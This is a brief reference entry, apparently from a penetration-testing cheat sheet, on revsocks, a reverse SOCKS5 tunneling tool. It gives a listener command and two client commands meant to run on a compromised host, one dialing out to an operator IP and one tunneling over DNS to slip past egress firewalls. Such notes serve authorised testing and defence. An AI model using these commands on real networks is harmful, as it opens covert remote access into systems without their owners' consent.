Revsocks is a single-binary reverse SOCKS5 tunneler. A server listens on the operator’s host for an inbound connection from a client on the target network, the reverse of a normal SSH dynamic forward, which works from behind NAT/firewalls that only allow outbound connections. It supports TLS, a WebSocket transport that blends in with HTTPS, and a SOCKS5-over-DNS mode.
Starts the operator-side listener (TLS enabled by default) and exposes a SOCKS5 proxy once the client connects back.
revsocks -listen :8443 -socks 127.0.0.1:1080 -pass <PASSWORD>
Client run on the compromised host, dialing out to the operator's listener to establish the reverse SOCKS5 tunnel.
revsocks -connect <OPERATOR_IP>:8443 -pass <PASSWORD>
Client variant that carries the reverse SOCKS5 tunnel inside DNS queries to the given domain, for networks where only DNS resolution is permitted outbound.
revsocks -dns <TUNNEL_DOMAIN> -pass <PASSWORD>